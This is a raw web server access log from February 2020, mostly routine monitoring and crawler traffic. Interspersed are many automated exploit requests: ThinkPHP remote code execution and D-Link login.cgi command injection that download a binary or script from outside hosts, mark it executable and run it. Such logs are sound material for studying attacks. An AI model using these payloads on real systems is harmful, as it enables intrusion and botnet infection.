42.119.102.238 - - [12/Feb/2020:13:25:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:13:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.162.247.161 - - [12/Feb/2020:13:26:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [12/Feb/2020:13:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.70.75.81 - - [12/Feb/2020:13:30:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:13:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.32.180 - - [12/Feb/2020:13:31:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:13:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.138.206.189 - - [12/Feb/2020:13:32:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [12/Feb/2020:13:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.43.8.138 - - [12/Feb/2020:13:34:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:13:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.175.173.11 - - [12/Feb/2020:13:35:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
61.239.19.112 - - [12/Feb/2020:13:36:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:13:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.71.69.172 - - [12/Feb/2020:13:39:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:13:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [12/Feb/2020:13:42:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
183.80.159.246 - - [12/Feb/2020:13:42:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:13:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
195.218.226.170 - - [12/Feb/2020:13:46:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:13:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.214 - - [12/Feb/2020:13:46:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:13:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
154.126.184.95 - - [12/Feb/2020:13:50:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [12/Feb/2020:13:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.246.201.207 - - [12/Feb/2020:13:51:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
93.122.203.158 - - [12/Feb/2020:13:51:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:13:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.118.97.77 - - [12/Feb/2020:13:53:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:13:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.73.202 - - [12/Feb/2020:13:56:23 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.206 - - [12/Feb/2020:13:56:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [12/Feb/2020:13:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [12/Feb/2020:13:56:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.124.145.174 - - [12/Feb/2020:13:56:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
71.6.232.4 - - [12/Feb/2020:13:57:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:13:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.187.209.166 - - [12/Feb/2020:13:58:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:13:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:13:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.43.8.138 - - [12/Feb/2020:14:00:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:14:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [12/Feb/2020:14:02:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
73.33.112.155 - - [12/Feb/2020:14:03:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.116.13.127 - - [12/Feb/2020:14:03:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:14:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.230.154.77 - - [12/Feb/2020:14:04:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:14:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.65.112 - - [12/Feb/2020:14:06:21 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.65.112 - - [12/Feb/2020:14:06:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [12/Feb/2020:14:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.255.243.166 - - [12/Feb/2020:14:14:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:14:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.133.231 - - [12/Feb/2020:14:20:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:14:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.133.214 - - [12/Feb/2020:14:22:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:14:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.242.11.86 - - [12/Feb/2020:14:23:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:14:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.76.187.183 - - [12/Feb/2020:14:25:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:14:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.215.9.145 - - [12/Feb/2020:14:26:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
118.71.2.147 - - [12/Feb/2020:14:26:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:14:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.71.69.24 - - [12/Feb/2020:14:29:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:14:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.189 - - [12/Feb/2020:14:30:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:14:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.171.190 - - [12/Feb/2020:14:33:48 +0100] "GET / HTTP/1.1" 200 1229 "https://healthhacks.ru/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
46.119.171.190 - - [12/Feb/2020:14:33:48 +0100] "GET / HTTP/1.1" 200 1229 "https://healthhacks.ru/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
46.119.171.190 - - [12/Feb/2020:14:33:48 +0100] "GET / HTTP/1.1" 200 1229 "https://healthhacks.ru/" "Mozilla/6.0 (compatible; MSIE 7.0a1; Windows NT 5.2; SV1)"
212.91.246.72 - - [12/Feb/2020:14:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [12/Feb/2020:14:36:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [12/Feb/2020:14:36:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [12/Feb/2020:14:36:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:14:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [12/Feb/2020:14:36:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [12/Feb/2020:14:37:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [12/Feb/2020:14:37:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [12/Feb/2020:14:37:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:14:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.218.0.195 - - [12/Feb/2020:14:37:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [12/Feb/2020:14:37:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [12/Feb/2020:14:38:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:14:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.13.138.101 - - [12/Feb/2020:14:38:59 +0100] "POST /Admin58f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
212.91.246.72 - - [12/Feb/2020:14:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:14:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
